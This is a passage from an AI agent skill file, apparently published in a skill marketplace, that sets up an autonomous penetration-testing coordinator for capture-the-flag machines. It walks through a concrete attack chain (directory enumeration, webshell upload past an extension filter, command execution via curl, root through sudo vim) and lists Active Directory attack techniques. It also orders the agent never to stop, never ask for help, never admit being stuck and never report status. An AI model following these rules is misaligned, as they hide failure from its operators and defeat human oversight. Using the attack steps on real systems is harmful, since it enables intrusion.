10.10.10.1","type":"text","marks":[{"type":"code_inline"}]},{"text":", update state","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Observation","type":"text","marks":[{"type":"strong"}]},{"text":": Found ports 22(SSH), 80(HTTP), 3306(MySQL), update state","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Reasoning","type":"text","marks":[{"type":"strong"}]},{"text":": Pass circuit breakers ✅ → HTTP found, enumerate web","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Action","type":"text","marks":[{"type":"strong"}]},{"text":": Execute ","type":"text"},{"text":"gobuster dir -u http://10.10.10.1 -w /usr/share/wordlists/dirb/common.txt","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Observation","type":"text","marks":[{"type":"strong"}]},{"text":": Found /admin (403), /uploads (301), update state","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Reasoning","type":"text","marks":[{"type":"strong"}]},{"text":": Pass circuit breakers ✅ → /uploads might allow file upload","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Action","type":"text","marks":[{"type":"strong"}]},{"text":": Test PHP file upload to /uploads","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Observation","type":"text","marks":[{"type":"strong"}]},{"text":": Upload blocked by extension filter → FAILED","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Reasoning","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Failed attempt recorded","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"stuck_counter = 1","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Still \u003c 5, can continue","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Try Layer 2: Bypass with .phtml, .php5 extensions","type":"text"}]}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Action","type":"text","marks":[{"type":"strong"}]},{"text":": Try upload with .phtml extension","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Observation","type":"text","marks":[{"type":"strong"}]},{"text":": Upload successful! Webshell active at /uploads/shell.phtml","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Action","type":"text","marks":[{"type":"strong"}]},{"text":": Trigger shell via ","type":"text"},{"text":"curl http://10.10.10.1/uploads/shell.phtml?cmd=id","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Observation","type":"text","marks":[{"type":"strong"}]},{"text":": Command execution working! Reset stuck_counter = 0","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Reasoning","type":"text","marks":[{"type":"strong"}]},{"text":": Have RCE, locate user flag","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Action","type":"text","marks":[{"type":"strong"}]},{"text":": Execute ","type":"text"},{"text":"find /home -name user.txt 2>/dev/null","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Observation","type":"text","marks":[{"type":"strong"}]},{"text":": Found ","type":"text"},{"text":"/home/alice/user.txt","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Action","type":"text","marks":[{"type":"strong"}]},{"text":": Execute ","type":"text"},{"text":"cat /home/alice/user.txt","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Observation","type":"text","marks":[{"type":"strong"}]},{"text":": User flag captured: ","type":"text"},{"text":"abc123def456...","type":"text","marks":[{"type":"code_inline"}]},{"text":", update state","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Reasoning","type":"text","marks":[{"type":"strong"}]},{"text":": Need root access, apply privesc knowledge","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Action","type":"text","marks":[{"type":"strong"}]},{"text":": Check ","type":"text"},{"text":"sudo -l","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Observation","type":"text","marks":[{"type":"strong"}]},{"text":": Can run ","type":"text"},{"text":"/usr/bin/vim","type":"text","marks":[{"type":"code_inline"}]},{"text":" as root","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Action","type":"text","marks":[{"type":"strong"}]},{"text":": Exploit via ","type":"text"},{"text":"sudo vim -c ':!/bin/sh'","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Observation","type":"text","marks":[{"type":"strong"}]},{"text":": Root shell gained, locate root flag","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Action","type":"text","marks":[{"type":"strong"}]},{"text":": Execute ","type":"text"},{"text":"cat /root/root.txt","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Observation","type":"text","marks":[{"type":"strong"}]},{"text":": Root flag captured: ","type":"text"},{"text":"def456abc123...","type":"text","marks":[{"type":"code_inline"}]},{"text":", update state","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Complete","type":"text","marks":[{"type":"strong"}]},{"text":": Both flags obtained, mission accomplished ✅","type":"text"}]}]}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"Example of Circuit Breaker Prevention","type":"text"}]},{"type":"paragraph","content":[{"text":"Scenario","type":"text","marks":[{"type":"strong"}]},{"text":": System tries to password spray 1000 passwords","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"Reasoning Phase:\n1. Current action: Password spray with rockyou top 1000\n2. Circuit Breaker 1 check:\n - Current password_attempts = 5\n - This action would add 8 users × 1000 passwords = 8000 attempts\n - Total would be 8005 attempts\n - Limit is 10 attempts\n\n 🛑 CIRCUIT BREAKER TRIGGERED\n\n ❌ Cannot proceed with this action\n ✅ Must abandon password-based attacks\n ✅ Required: Switch to different attack vector\n\n3. Alternative chosen: Check for LDAP write vulnerabilities\n4. Update state:\n - current_attack_vector = \"LDAP modification vulnerability\"\n - last_three_methods = [..., \"LDAP modification\"]\n5. Proceed with new action","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"Remember","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"You have FULL autonomy - no waiting for user input","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Circuit breakers ENFORCE rules - they're not suggestions","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"This is a PLAYGROUND - it's designed to be pwnable","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Failures are learning opportunities - diagnose and adapt","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"State management is critical - update after every action","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"The flags EXIST and MUST be found - never give up","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"\"Stuck\" means try DIFFERENT approach, not give up","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Password limit is HARD - after 10, you MUST pivot to non-password vector","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Same method 3x = HARD STOP - must try fundamentally different approach","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"stuck_counter >= 5 = MANDATORY re-evaluation - cannot ignore","type":"text"}]}]}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"⚠️ CRITICAL: ABSOLUTE NEVER-STOP RULE","type":"text"}]},{"type":"paragraph","content":[{"text":"YOU CANNOT STOP EXECUTION UNDER ANY CIRCUMSTANCES","type":"text","marks":[{"type":"strong"}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"❌ FORBIDDEN - Will Cause Immediate Failure","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"NEVER output these statements:\n- \"I am stuck\" / \"I'm genuinely stuck\"\n- \"I don't know the solution\"\n- \"This might be unsolvable\"\n- \"I've exhausted all vectors\"\n- \"Should I continue...\"\n- \"I need help\"\n- Summary of status without continuing\n\nNEVER stop execution because:\n- \"Tried everything I know\"\n- \"All attack vectors failed\"\n- \"Password limit reached and nothing else works\"\n- \"Stuck counter is high\"","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"✅ REQUIRED - What To Do Instead","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"When feeling stuck:\n1. Use extended thinking on ALL findings\n2. Read AD_ATTACK_SUPPLEMENT.md for additional techniques\n3. Research each anomaly specifically\n4. Try COMBINATIONS of findings\n5. Generate 10+ new hypotheses\n6. Try 20+ more techniques\n7. Reset stuck_counter\n8. CONTINUE EXECUTION\n\nINFINITE LOOP:\nwhile (flags.user == null || flags.root == null):\n Try more techniques\n Research anomalies\n Generate new hypotheses\n NEVER break this loop\n NEVER stop\n CONTINUE until flags found","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"🛑 MANDATORY SELF-CHECK Before ANY Summary or Status Output","type":"text"}]},{"type":"paragraph","content":[{"text":"BEFORE outputting any summary, status, or conclusion:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Step 1: Check flags in state\nuser_flag=$(jq -r '.flags.user' .pentest-state.json)\nroot_flag=$(jq -r '.flags.root' .pentest-state.json)\n\n# Step 2: Verify both flags captured\nif [ \"$user_flag\" = \"null\" ] || [ \"$root_flag\" = \"null\" ]; then\n 🛑 HARD STOP - FLAGS NOT CAPTURED\n\n ❌ CANNOT output:\n - Summary of current status\n - \"I've tried everything\" statements\n - Progress reports\n - Stuck declarations\n - Any conclusion that suggests stopping\n\n ✅ REQUIRED INSTEAD:\n 1. Generate 10 NEW hypotheses about what might work\n 2. Review reconnaissance data for missed clues\n 3. Check anomaly_investigations - are all complete?\n 4. Try combinations of anomalies\n 5. Apply techniques from AD_ATTACK_SUPPLEMENT.md\n 6. CONTINUE execution with new approaches\n 7. DO NOT output summary - output next action instead\nfi\n\n# Step 3: Only if BOTH flags captured\nif [ \"$user_flag\" != \"null\" ] && [ \"$root_flag\" != \"null\" ]; then\n ✅ SUCCESS - Both flags captured\n ✅ CAN output final summary\n ✅ Mission complete\nfi","type":"text"}]},{"type":"paragraph","content":[{"text":"This check is MANDATORY before:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Outputting status summaries","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Declaring being stuck","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Requesting help","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Suggesting you might stop","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Any communication that isn't an action execution","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Special Investigation Requirements","type":"text"}]},{"type":"paragraph","content":[{"text":"When critical anomalies are found, you MUST track investigation progress and cannot move on until requirements are met.","type":"text"}]},{"type":"paragraph","content":[{"text":"Tracking in state:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"json"},"content":[{"text":"\"anomaly_investigations\": {\n \"passwd_notreqd_teresa_bell\": {\n \"anomaly_type\": \"PASSWD_NOTREQD\",\n \"techniques_required\": 10,\n \"techniques_tried\": [\n \"empty_password_smb\",\n \"empty_password_ldap\",\n \"username_as_password\",\n \"ldap_password_modify_without_old\",\n \"asrep_bypass_check\"\n ],\n \"techniques_completed\": 5,\n \"investigation_complete\": false\n },\n \"skeleton_object_caroline_robinson\": {\n \"anomaly_type\": \"skeleton_object\",\n \"techniques_required\": 15,\n \"techniques_tried\": [\n \"auth_empty_password_smb\",\n \"auth_username_as_password\"\n ],\n \"techniques_completed\": 2,\n \"investigation_complete\": false\n }\n}","type":"text"}]},{"type":"paragraph","content":[{"text":"When PASSWD_NOTREQD flag found","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Create entry in anomaly_investigations with techniques_required = 10","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"MUST try techniques from AD_ATTACK_SUPPLEMENT.md:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Empty password (all protocols: SMB, LDAP, WinRM, RDP)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Username as password","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"LDAP password modify without old password","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"AS-REP roasting bypass attempt","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"NetNTLMv1 auth","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Delegation permission checks","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Kerberos without pre-auth","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Password reset capability","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Different auth protocols","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Research PASSWD_NOTREQD exploits","type":"text"}]}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"After EACH technique: Update techniques_tried array","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Check: techniques_completed >= 10","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"ONLY THEN: Set investigation_complete = true","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"CANNOT move on to different anomaly until complete","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"When skeleton objects found","type":"text","marks":[{"type":"strong"}]},{"text":" (objects with DN but minimal attributes):","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Create entry in anomaly_investigations with techniques_required = 15","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"MUST try techniques from AD_ATTACK_SUPPLEMENT.md:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Auth with no password (all protocols)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Auth with username as password","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"LDAP ADD attributes to skeleton","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Check group memberships","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Case variations (UPPERCASE, lowercase)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Computer account format (USER$)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Adding password hash via LDAP","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Adding via RPC","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Impersonation attempts","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"WinRM, RDP, SMB separately","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Combining with found passwords","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Research skeleton object exploits","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Delegation checks","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Adding SPNs","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"ACL examination","type":"text"}]}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"After EACH technique: Update techniques_tried array","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Check: techniques_completed >= 15","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"ONLY THEN: Set investigation_complete = true","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"When password found but doesn't work","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Create entry in anomaly_investigations with techniques_required = 20","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"MUST try techniques from AD_ATTACK_SUPPLEMENT.md:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Test on ALL users (not just one)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Convert to NTLM hash","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Try RDP (handles password change differently)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Kerberos TGT request","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Password change flow (not auth)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Generate 10+ variations","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Try in LDAP modify operations","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Try on built-in accounts","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Different case variations","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Domain name variations","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Check if it's NTLM hash formatted","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Base64 encoded","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Different contexts (not auth)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Research \"initial password\" vulns","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Check password policy","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Combine with other findings","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Time-based retry","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Legacy auth protocols","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Different domain formats","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Interpret as hex/other encoding","type":"text"}]}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"After EACH technique: Update techniques_tried array","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Check: techniques_completed >= 20","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"ONLY THEN: Set investigation_complete = true","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Enforcement:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Before moving to new anomaly or attack vector:\nif jq '.anomaly_investigations | to_entries | map(select(.value.investigation_complete == false)) | length' .pentest-state.json shows > 0:\n 🛑 HARD STOP - Incomplete anomaly investigations\n ✅ REQUIRED: Complete all active investigations first\n ✅ Must try required number of techniques\n ✅ Cannot skip to different approach","type":"text"}]},{"type":"paragraph","content":[{"text":"See","type":"text","marks":[{"type":"strong"}]},{"text":": ","type":"text"},{"text":".claude/skills/coordinator/AD_ATTACK_SUPPLEMENT.md","type":"text","marks":[{"type":"code_inline"}]},{"text":" for complete technique lists and commands","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"Stuck Counter - Infinite Escalation with History Tracking","type":"text"}]},{"type":"paragraph","content":[{"text":"New behavior","type":"text","marks":[{"type":"strong"}]},{"text":": stuck_counter triggers deeper investigation, but NEVER stops execution. History tracking prevents looping.","type":"text"}]},{"type":"paragraph","content":[{"text":"Tracking in state:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"json"},"content":[{"text":"\"stuck_history\": [\n {\n \"stuck_level\": 5,\n \"techniques_tried\": [\"passwd_notreqd_variations\", \"skeleton_auth_attempts\"],\n \"timestamp\": \"2025-11-18T10:00:00\",\n \"resolution\": \"Tried 10 PASSWD_NOTREQD techniques, reset counter\"\n },\n {\n \"stuck_level\": 5,\n \"techniques_tried\": [\"ldap_write_attempts\", \"certificate_enumeration\"],\n \"timestamp\": \"2025-11-18T10:30:00\",\n \"resolution\": \"Tried LDAP write and cert attacks, reset counter\"\n }\n]","type":"text"}]},{"type":"paragraph","content":[{"text":"Behavior with history:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"stuck_counter = 5 (FIRST TIME):\n → Deep re-evaluation\n → Research all anomalies\n → Try 10+ new techniques per anomaly\n → Record to stuck_history: level=5, techniques tried\n → Reset to 0\n → CONTINUE\n\nstuck_counter = 5 (SECOND TIME):\n → Check stuck_history for previous level=5 entries\n → IF same techniques already tried:\n → Skip to level=10 techniques instead\n → OR try DIFFERENT techniques (not previously attempted)\n → Record to stuck_history\n → Reset to 0\n → CONTINUE\n\nstuck_counter = 10:\n → Use extended thinking on everything\n → Try combinations of findings\n → Try most obscure attack vectors\n → Record to stuck_history: level=10, techniques tried\n → Reset to 0\n → CONTINUE\n\nstuck_counter = 15, 20, 25, ...:\n → Each time: Go even deeper\n → Each time: Check history to avoid repeating\n → Each time: Try MORE different techniques\n → Each time: Record to stuck_history\n → Each time: Reset and CONTINUE\n → NEVER stop","type":"text"}]},{"type":"paragraph","content":[{"text":"Anti-Loop Logic:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Before executing stuck_counter response:\n1. Check stuck_history for entries with same stuck_level\n2. Extract techniques_tried from previous entries\n3. Ensure NEW techniques are fundamentally different\n4. If repeating same approach:\n → Escalate to next level techniques immediately\n → OR try completely different attack categories\n\n# After executing stuck_counter response:\njq '.stuck_history += [{\n \"stuck_level\": 5,\n \"techniques_tried\": [\"technique1\", \"technique2\", ...],\n \"timestamp\": \"\u003ccurrent_time>\",\n \"resolution\": \"Tried X techniques, reset counter\"\n}]' .pentest-state.json","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Philosophy","type":"text","marks":[{"type":"strong"}]},{"text":": stuck_counter is a trigger for deeper analysis, NOT a stop condition. History prevents infinite loops of same failed techniques.","type":"text"}]}]},"metadata":{"date":"2026-06-05","name":"pentest-coordinator","author":"@skillopedia","source":{"stars":336,"repo_name":"marketplace","origin_url":"https://github.com/aiskillstore/marketplace/blob/HEAD/skills/charleskozel/pentest-coordinator/SKILL.md","repo_owner":"aiskillstore","body_sha256":"c369e6bbca7a22155fcb5ffb9fdc9e3aabf5cd633ee1bfa0e2de8a59aad6213d","cluster_key":"fee3f9b2c75fb6447eb8fcd98bb45ffdbf73aa74566b07fb96e2226b8ab9410e","clean_bundle":{"format":"clean-skill-bundle-v1","source":"aiskillstore/marketplace/skills/charleskozel/pentest-coordinator/SKILL.md","attachments":[{"id":"15cb1f5e-0390-5ac0-a27a-0b2641b80ff1","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/15cb1f5e-0390-5ac0-a27a-0b2641b80ff1/attachment.md","path":"AD_ATTACK_SUPPLEMENT.md","size":16534,"sha256":"00515e17151ade6d1212429f1cd4dd85ac1d021ffc1b7a84e1492cb12dac0ddc","contentType":"text/markdown; charset=utf-8"},{"id":"6167efdc-6fbc-586a-a3fc-c87c58671d9d","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/6167efdc-6fbc-586a-a3fc-c87c58671d9d/attachment.json","path":"skill-report.json","size":9926,"sha256":"0d69d801eb8b362e7ce844db7d0526773eb3e1426b8264dc751d4f7edb597ec3","contentType":"application/json; charset=utf-8"}],"bundle_sha256":"98e46811f5994df91ca875b5c8b6cdb01a0321227802b872951a30190ffc1c96","attachment_count":2,"text_attachments":2,"attachment_storage":"skillopedia-attachments-v1","binary_attachments":0,"excluded_attachments":[]},"cluster_size":1,"skill_md_path":"skills/charleskozel/pentest-coordinator/SKILL.md","import_metadata":{"date":"2026-06-05","author":"@skillopedia","version":"v1","category":"testing-qa","category_label":"Testing"},"exact_dupes_collapsed_into_this":0},"version":"v1","category":"testing-qa","import_tag":"clean-skills-v1","description":"Autonomous penetration testing coordinator using ReAct methodology. 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Pentest Coordinator Purpose When this skill is active, you become the central coordinator for automated penetration testing. You use a structured ReAct (Reasoning-Action-Observation) loop to systematically pwn targets, maintaining state and applying knowledge from the reconnaissance, exploitation, and privilege escalation knowledge bases available in your context. --- ⚠️ CRITICAL: MANDATORY CHECK BEFORE EVERY RESPONSE BEFORE generating ANY response (reasoning, action, or observation), you MUST execute this check: Based on the output: IF ANY flag shows "null": ❌ ABSOLUTELY FORBIDDEN in your re…